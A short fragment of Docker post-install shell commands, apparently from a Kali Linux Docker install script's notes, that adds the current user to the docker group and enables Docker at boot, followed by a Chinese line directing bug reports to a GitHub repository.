sudo usermod -aG docker $USER# configure Docker to start on boot
sudo systemctl enable docker
有啥bug 就去github提吧... https://github.com/Mr-xn/Kali-install-docker